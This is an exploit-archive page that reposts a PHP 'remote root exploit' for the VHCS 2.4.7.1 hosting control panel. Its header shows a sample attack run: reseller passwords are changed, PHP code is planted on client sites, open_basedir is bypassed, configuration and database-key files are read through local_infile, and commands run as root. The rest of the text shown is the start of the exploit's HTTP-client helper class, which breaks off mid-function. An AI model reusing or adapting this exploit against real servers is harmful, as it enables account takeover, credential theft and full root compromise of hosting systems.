Lucene search
K

VHCS <= 2.4.7.1 (vhcs2_daemon) Remote Root Exploit

🗓️ 10 Mar 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

VHCS <= 2.4.7.1 Remote Root Exploit by DarkFi

Code

                                                #!/usr/bin/php&nbsp;-q
&lt;?php
error_reporting(E_ALL&nbsp;^&nbsp;E_NOTICE);
#
#
#&nbsp;darkfig@darky:/#&nbsp;./vhcs_sploit.php&nbsp;-url&nbsp;http://localhost/vhcs2/
#
#&nbsp;&nbsp;VHCS&nbsp;&lt;=&nbsp;2.4.7.1&nbsp;(vhcs2_daemon)&nbsp;Remote&nbsp;Root&nbsp;Exploit
#&nbsp;&nbsp;--------------------------------------------------
#&nbsp;
#&nbsp;About:
#&nbsp;&nbsp;by&nbsp;DarkFig&nbsp;&lt;&nbsp;gmdarkfig&nbsp;(at)&nbsp;gmail&nbsp;(dot)&nbsp;com&nbsp;&gt;
#&nbsp;&nbsp;http://acid-root.new.fr/
#&nbsp;&nbsp;#[email protected]
#&nbsp;
#&nbsp;Exploit:
#&nbsp;&nbsp;+&nbsp;Logged&nbsp;in&nbsp;(Administrator)
#&nbsp;&nbsp;+&nbsp;The&nbsp;administrator&nbsp;has&nbsp;2&nbsp;resellers
#&nbsp;&nbsp;/&nbsp;Changing&nbsp;dareseller's&nbsp;password
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;connect&nbsp;as&nbsp;dareseller:thatpwnz
#&nbsp;&nbsp;+&nbsp;Login&nbsp;successful
#&nbsp;&nbsp;+&nbsp;The&nbsp;reseller&nbsp;has&nbsp;2&nbsp;users
#&nbsp;&nbsp;+&nbsp;Host&nbsp;domaintest.fr&nbsp;is&nbsp;connected
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;write&nbsp;PHP&nbsp;code
#&nbsp;&nbsp;+&nbsp;PHP&nbsp;code&nbsp;successfully&nbsp;written
#&nbsp;&nbsp;/&nbsp;We'll&nbsp;have&nbsp;to&nbsp;bypass&nbsp;open_basedir&nbsp;cause&nbsp;safe_mode=On
#&nbsp;&nbsp;-&nbsp;User&nbsp;&nbsp;doesn't&nbsp;have&nbsp;SQL&nbsp;rights
#&nbsp;&nbsp;/&nbsp;Host&nbsp;domaintest.fr&nbsp;isn't&nbsp;a&nbsp;valid&nbsp;user
#&nbsp;&nbsp;+&nbsp;Host&nbsp;xpliamaclient.com&nbsp;is&nbsp;connected
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;write&nbsp;PHP&nbsp;code
#&nbsp;&nbsp;+&nbsp;PHP&nbsp;code&nbsp;successfully&nbsp;written
#&nbsp;&nbsp;/&nbsp;We'll&nbsp;have&nbsp;to&nbsp;bypass&nbsp;open_basedir&nbsp;cause&nbsp;safe_mode=On
#&nbsp;&nbsp;-&nbsp;User&nbsp;&nbsp;doesn't&nbsp;have&nbsp;SQL&nbsp;rights
#&nbsp;&nbsp;/&nbsp;Host&nbsp;xpliamaclient.com&nbsp;isn't&nbsp;a&nbsp;valid&nbsp;user
#&nbsp;&nbsp;/&nbsp;Changing&nbsp;unautresel's&nbsp;password
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;connect&nbsp;as&nbsp;unautresel:thatpwnz
#&nbsp;&nbsp;+&nbsp;Login&nbsp;successful
#&nbsp;&nbsp;+&nbsp;The&nbsp;reseller&nbsp;has&nbsp;1&nbsp;users
#&nbsp;&nbsp;+&nbsp;Host&nbsp;thegoodone.com&nbsp;is&nbsp;connected
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;write&nbsp;PHP&nbsp;code
#&nbsp;&nbsp;+&nbsp;PHP&nbsp;code&nbsp;successfully&nbsp;written
#&nbsp;&nbsp;/&nbsp;We'll&nbsp;have&nbsp;to&nbsp;bypass&nbsp;open_basedir&nbsp;cause&nbsp;safe_mode=On
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;create&nbsp;a&nbsp;database
#&nbsp;&nbsp;+&nbsp;Database&nbsp;92xpl_db39&nbsp;successfully&nbsp;created
#&nbsp;&nbsp;+&nbsp;Using&nbsp;database&nbsp;id&nbsp;12
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;add&nbsp;SQL&nbsp;user
#&nbsp;&nbsp;+&nbsp;User&nbsp;93xpl_usr2&nbsp;successfully&nbsp;created
#&nbsp;&nbsp;+&nbsp;Using&nbsp;SQL&nbsp;user&nbsp;id&nbsp;17
#&nbsp;&nbsp;+&nbsp;Host&nbsp;thegoodone.com&nbsp;is&nbsp;a&nbsp;valid&nbsp;user
#&nbsp;&nbsp;+&nbsp;Logged&nbsp;in&nbsp;(thegoodone.com&nbsp;-&nbsp;Client)
#&nbsp;&nbsp;/&nbsp;Trying&nbsp;to&nbsp;load&nbsp;files&nbsp;via&nbsp;local_infile
#&nbsp;&nbsp;+&nbsp;Ok:&nbsp;/etc/vhcs2/vhcs2.conf
#&nbsp;&nbsp;+&nbsp;Ok:&nbsp;/var/www/vhcs2/gui/include/vhcs2-db-keys.php
#&nbsp;&nbsp;+&nbsp;Now&nbsp;you&nbsp;can&nbsp;execute&nbsp;commands&nbsp;as&nbsp;root&nbsp;=]
#&nbsp;&nbsp;+&nbsp;[email protected]:&nbsp;id
#&nbsp;
#&nbsp;uid=0(root)&nbsp;gid=0(root)
#

##############################################
#&nbsp;THE&nbsp;VHCS&nbsp;CODE&nbsp;IS&nbsp;AFTER&nbsp;THE&nbsp;PHPSPLOIT&nbsp;CLASS
##############################################


/*
&nbsp;*&nbsp;
&nbsp;*&nbsp;Copyright&nbsp;(C)&nbsp;darkfig
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;free&nbsp;software;&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;
&nbsp;*&nbsp;modify&nbsp;it&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;as&nbsp;published&nbsp;by&nbsp;the&nbsp;Free&nbsp;Software&nbsp;Foundation;&nbsp;either&nbsp;version&nbsp;2&nbsp;
&nbsp;*&nbsp;of&nbsp;the&nbsp;License,&nbsp;or&nbsp;(at&nbsp;your&nbsp;option)&nbsp;any&nbsp;later&nbsp;version.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful,&nbsp;
&nbsp;*&nbsp;but&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of&nbsp;
&nbsp;*&nbsp;MERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the&nbsp;
&nbsp;*&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;You&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;along&nbsp;with&nbsp;this&nbsp;program;&nbsp;if&nbsp;not,&nbsp;write&nbsp;to&nbsp;the&nbsp;Free&nbsp;Software&nbsp;
&nbsp;*&nbsp;Foundation,&nbsp;Inc.,&nbsp;59&nbsp;Temple&nbsp;Place&nbsp;-&nbsp;Suite&nbsp;330,&nbsp;Boston,&nbsp;MA&nbsp;&nbsp;02111-1307,&nbsp;USA.
&nbsp;*&nbsp;
&nbsp;*&nbsp;TITLE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PhpSploit&nbsp;Class
&nbsp;*&nbsp;REQUIREMENTS:&nbsp;&nbsp;&nbsp;PHP&nbsp;4&nbsp;/&nbsp;PHP&nbsp;5
&nbsp;*&nbsp;VERSION:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.0
&nbsp;*&nbsp;LICENSE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License
&nbsp;*&nbsp;ORIGINAL&nbsp;URL:&nbsp;&nbsp;&nbsp;http://www.acid-root.new.fr/tools/03061230.txt
&nbsp;*&nbsp;FILENAME:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;phpsploitclass.php
&nbsp;*
&nbsp;*&nbsp;CONTACT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;(french&nbsp;/&nbsp;english)
&nbsp;*&nbsp;GREETZ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sparah,&nbsp;Ddx39
&nbsp;*
&nbsp;*&nbsp;DESCRIPTION:
&nbsp;*&nbsp;The&nbsp;phpsploit&nbsp;is&nbsp;a&nbsp;class&nbsp;implementing&nbsp;a&nbsp;web&nbsp;user&nbsp;agent.
&nbsp;*&nbsp;You&nbsp;can&nbsp;add&nbsp;cookies,&nbsp;headers,&nbsp;use&nbsp;a&nbsp;proxy&nbsp;server&nbsp;with&nbsp;(or&nbsp;without)&nbsp;a
&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;It&nbsp;supports&nbsp;the&nbsp;GET&nbsp;and&nbsp;the&nbsp;POST&nbsp;method.&nbsp;It&nbsp;can
&nbsp;*&nbsp;also&nbsp;be&nbsp;used&nbsp;like&nbsp;a&nbsp;browser&nbsp;with&nbsp;the&nbsp;cookiejar()&nbsp;function&nbsp;(which&nbsp;allow
&nbsp;*&nbsp;a&nbsp;server&nbsp;to&nbsp;add&nbsp;several&nbsp;cookies&nbsp;for&nbsp;the&nbsp;next&nbsp;requests)&nbsp;and&nbsp;the
&nbsp;*&nbsp;allowredirection()&nbsp;function&nbsp;(which&nbsp;allow&nbsp;the&nbsp;script&nbsp;to&nbsp;follow&nbsp;all
&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server).&nbsp;It&nbsp;can&nbsp;return&nbsp;the&nbsp;content&nbsp;(or&nbsp;the
&nbsp;*&nbsp;headers)&nbsp;of&nbsp;the&nbsp;request.&nbsp;Others&nbsp;useful&nbsp;functions&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;debugging.
&nbsp;*&nbsp;A&nbsp;manual&nbsp;is&nbsp;actually&nbsp;in&nbsp;development&nbsp;but&nbsp;to&nbsp;know&nbsp;how&nbsp;to&nbsp;use&nbsp;it,&nbsp;you&nbsp;can
&nbsp;*&nbsp;read&nbsp;the&nbsp;comments.
&nbsp;*
&nbsp;*&nbsp;CHANGELOG:
&nbsp;*
&nbsp;*&nbsp;[2007-06-10]&nbsp;(2.0)
&nbsp;*&nbsp;&nbsp;*&nbsp;Code:&nbsp;Code&nbsp;optimization
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;Compatible&nbsp;with&nbsp;PHP&nbsp;4&nbsp;by&nbsp;default
&nbsp;*
&nbsp;*&nbsp;[2007-01-24]&nbsp;(1.2)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#2&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;getcookie()&nbsp;function&nbsp;((|;))
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;multipart/form-data&nbsp;enctype&nbsp;is&nbsp;now&nbsp;supported&nbsp;
&nbsp;*
&nbsp;*&nbsp;[2006-12-31]&nbsp;(1.1)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#1&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;allowredirection()&nbsp;function&nbsp;(chr(13)&nbsp;bug)
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;You&nbsp;can&nbsp;now&nbsp;call&nbsp;the&nbsp;getheader()&nbsp;/&nbsp;getcontent()&nbsp;function&nbsp;without&nbsp;parameters
&nbsp;*
&nbsp;*&nbsp;[2006-12-30]&nbsp;(1.0)
&nbsp;*&nbsp;&nbsp;*&nbsp;First&nbsp;version
&nbsp;*&nbsp;
&nbsp;*/

class&nbsp;phpsploit
{
	var&nbsp;$proxyhost;
	var&nbsp;$proxyport;
	var&nbsp;$host;
	var&nbsp;$path;
	var&nbsp;$port;
	var&nbsp;$method;
	var&nbsp;$url;
	var&nbsp;$packet;
	var&nbsp;$proxyuser;
	var&nbsp;$proxypass;
	var&nbsp;$header;
	var&nbsp;$cookie;
	var&nbsp;$data;
	var&nbsp;$boundary;
	var&nbsp;$allowredirection;
	var&nbsp;$last_redirection;
	var&nbsp;$cookiejar;
	var&nbsp;$recv;
	var&nbsp;$cookie_str;
	var&nbsp;$header_str;
	var&nbsp;$server_content;
	var&nbsp;$server_header;
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the
	&nbsp;*&nbsp;get()/post()/formdata()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is
	&nbsp;*&nbsp;the&nbsp;main&nbsp;function.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;private
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;recv&nbsp;ServerResponse
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;sock()
	{
		if(!empty($this-&gt;proxyhost)&nbsp;&amp;&amp;&nbsp;!empty($this-&gt;proxyport))
		&nbsp;&nbsp;&nbsp;$socket&nbsp;=&nbsp;@fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);
		else
		&nbsp;&nbsp;&nbsp;$socket&nbsp;=&nbsp;@fsockopen($this-&gt;host,$this-&gt;port);
		
		if(!$socket)
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Host&nbsp;seems&nbsp;down&quot;);
		
		if($this-&gt;method=='get')
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;=&nbsp;'GET&nbsp;'.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		&nbsp;&nbsp;&nbsp;
		elseif($this-&gt;method=='post'&nbsp;or&nbsp;$this-&gt;method=='formdata')
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;=&nbsp;'POST&nbsp;'.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		&nbsp;&nbsp;&nbsp;
		else
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;method&quot;);
		
		if(!empty($this-&gt;proxyuser))
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;'Proxy-Authorization:&nbsp;Basic&nbsp;'.base64_encode($this-&gt;proxyuser.':'.$this-&gt;proxypass).&quot;\r\n&quot;;
		
		if(!empty($this-&gt;header))
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;showheader();
		&nbsp;&nbsp;&nbsp;
		if(!empty($this-&gt;cookie))
		&nbsp;&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;'Cookie:&nbsp;'.$this-&gt;showcookie().&quot;\r\n&quot;;
	
		$this-&gt;packet&nbsp;.=&nbsp;'Host:&nbsp;'.$this-&gt;host.&quot;\r\n&quot;;
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n&quot;;
		
		if($this-&gt;method=='post')
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;'Content-Length:&nbsp;'.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data.&quot;\r\n&quot;;
		}
		elseif($this-&gt;method=='formdata')
		{
			$this-&gt;packet&nbsp;.=&nbsp;'Content-Type:&nbsp;multipart/form-data;&nbsp;boundary='.str_repeat('-',27).$this-&gt;boundary.&quot;\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;'Content-Length:&nbsp;'.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data;
		}

		$this-&gt;packet&nbsp;.=&nbsp;&quot;\r\n&quot;;
		$this-&gt;recv&nbsp;=&nbsp;'';

		fputs($socket,$this-&gt;packet);

		while(!feof($socket))
		&nbsp;&nbsp;&nbsp;$this-&gt;recv&nbsp;.=&nbsp;fgets($socket);

		fclose($socket);

		if($this-&gt;cookiejar)
		&nbsp;&nbsp;&nbsp;$this-&gt;getcookie();

		if($this-&gt;allowredirection)
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;getredirection();
		else
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;recv;
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several
	&nbsp;*&nbsp;cookies&nbsp;in&nbsp;the&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;cookn&nbsp;CookieName
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;cookv&nbsp;CookieValue
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;addcookie('name','value')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;addcookie($cookn,$cookv)
	{
		if(!isset($this-&gt;cookie))
		&nbsp;&nbsp;&nbsp;$this-&gt;cookie&nbsp;=&nbsp;array();

		$this-&gt;cookie[$cookn]&nbsp;=&nbsp;$cookv;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several
	&nbsp;*&nbsp;headers&nbsp;in&nbsp;the&nbsp;request.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;headern&nbsp;HeaderName
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;headervalue&nbsp;Headervalue
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;addheader('Client-IP',&nbsp;'128.5.2.3')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;addheader($headern,$headervalue)
	{
		if(!isset($this-&gt;header))
		&nbsp;&nbsp;&nbsp;$this-&gt;header&nbsp;=&nbsp;array();
		&nbsp;&nbsp;&nbsp;
		$this-&gt;header[$headern]&nbsp;=&nbsp;$headervalue;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an
	&nbsp;*&nbsp;http&nbsp;proxy&nbsp;server.&nbsp;Several&nbsp;methods
	&nbsp;*&nbsp;are&nbsp;supported.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;proxy&nbsp;ProxyHost
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;integer&nbsp;proxyp&nbsp;ProxyPort
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxy('localhost',8118)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxy('localhost:8118')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;proxy($proxy,$proxyp='')
	{
		if(empty($proxyp))
		{
			$proxarr&nbsp;=&nbsp;explode(':',$proxy);
			$this-&gt;proxyhost&nbsp;=&nbsp;$proxarr[0];
			$this-&gt;proxyport&nbsp;=&nbsp;(int)$proxarr[1];
		}
		else&nbsp;
		{
			$this-&gt;proxyhost&nbsp;=&nbsp;$proxy;
			$this-&gt;proxyport&nbsp;=&nbsp;(int)$proxyp;
		}

		if($this-&gt;proxyport&nbsp;&gt;&nbsp;65535)
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an
	&nbsp;*&nbsp;http&nbsp;proxy&nbsp;server&nbsp;which&nbsp;requires&nbsp;a
	&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;Several
	&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;proxyauth&nbsp;ProxyUser
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;proxypass&nbsp;ProxyPass
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxyauth('user','pwd')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;proxyauth('user:pwd');
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;proxyauth($proxyauth,$proxypass='')
	{
		if(empty($proxypass))
		{
			$posvirg&nbsp;=&nbsp;strpos($proxyauth,':');
			$this-&gt;proxyuser&nbsp;=&nbsp;substr($proxyauth,0,$posvirg);
			$this-&gt;proxypass&nbsp;=&nbsp;substr($proxyauth,$posvirg+1);
		}
		else
		{
			$this-&gt;proxyuser&nbsp;=&nbsp;$proxyauth;
			$this-&gt;proxypass&nbsp;=&nbsp;$proxypass;
		}
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set
	&nbsp;*&nbsp;the&nbsp;'User-Agent'&nbsp;header.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;useragent&nbsp;Agent
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;agent('Firefox')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;agent($useragent)
	{
		$this-&gt;addheader('User-Agent',$useragent);
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers
	&nbsp;*&nbsp;which&nbsp;will&nbsp;be&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;header_str&nbsp;Headers
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;showheader()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;showheader()
	{
		$this-&gt;header_str&nbsp;=&nbsp;'';
		
		if(!isset($this-&gt;header))
		&nbsp;&nbsp;&nbsp;return;
		&nbsp;&nbsp;&nbsp;
		foreach($this-&gt;header&nbsp;as&nbsp;$name&nbsp;=&gt;&nbsp;$value)
		&nbsp;&nbsp;&nbsp;$this-&gt;header_str&nbsp;.=&nbsp;$name.':&nbsp;'.$value.&quot;\r\n&quot;;
		&nbsp;&nbsp;&nbsp;
		return&nbsp;$this-&gt;header_str;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookies
	&nbsp;*&nbsp;which&nbsp;will&nbsp;be&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;cookie_str&nbsp;Cookies
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;showcookie()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;showcookie()
	{
		$this-&gt;cookie_str&nbsp;=&nbsp;'';
		
		if(!isset($this-&gt;cookie))
		&nbsp;&nbsp;&nbsp;return;
		
		foreach($this-&gt;cookie&nbsp;as&nbsp;$name&nbsp;=&gt;&nbsp;$value)
		&nbsp;&nbsp;&nbsp;$this-&gt;cookie_str&nbsp;.=&nbsp;$name.'='.$value.';&nbsp;';

		return&nbsp;$this-&gt;cookie_str;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last
	&nbsp;*&nbsp;formed&nbsp;http&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;packet&nbsp;HttpPacket
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;showlastrequest()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;showlastrequest()
	{
		if(!isset($this-&gt;packet))
		&nbsp;&nbsp;&nbsp;return;
		else
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;packet;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;packet&nbsp;with&nbsp;the&nbsp;GET&nbsp;method.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;url&nbsp;Url
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;sock()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;get('localhost/index.php?var=x')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;get('http://localhost:88/tst.php')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;get($url)
	{
		$this-&gt;target($url);
		$this-&gt;method&nbsp;=&nbsp;'get';
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;packet&nbsp;with&nbsp;the&nbsp;POST&nbsp;method.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;url&nbsp;&nbsp;Url
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;data&nbsp;PostData
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;sock()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;post('http://localhost/','helo=x')
	&nbsp;*&nbsp;
	&nbsp;*/	
	function&nbsp;post($url,$data)
	{
		$this-&gt;target($url);
		$this-&gt;method&nbsp;=&nbsp;'post';
		$this-&gt;data&nbsp;=&nbsp;$data;
		return&nbsp;$this-&gt;sock();
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http
	&nbsp;*&nbsp;packet&nbsp;with&nbsp;the&nbsp;POST&nbsp;method&nbsp;using
	&nbsp;*&nbsp;the&nbsp;multipart/form-data&nbsp;enctype.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;array&nbsp;array&nbsp;FormDataArray
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;sock()
	&nbsp;*&nbsp;@example&nbsp;$formdata&nbsp;=&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_url&nbsp;=&gt;&nbsp;'http://localhost/upload.php',
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;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nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_filename&nbsp;=&gt;&nbsp;'hello.php,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=&gt;&nbsp;'&lt;?php&nbsp;echo&nbsp;1;&nbsp;?&gt;'));
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;formdata($formdata);
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;formdata($array)
	{
		$this-&gt;target($array[frmdt_url]);
		$this-&gt;method&nbsp;=&nbsp;'formdata';
		$this-&gt;data&nbsp;=&nbsp;'';
		
		if(!isset($array[frmdt_boundary]))
		&nbsp;&nbsp;&nbsp;$this-&gt;boundary&nbsp;=&nbsp;'phpsploit';
		else
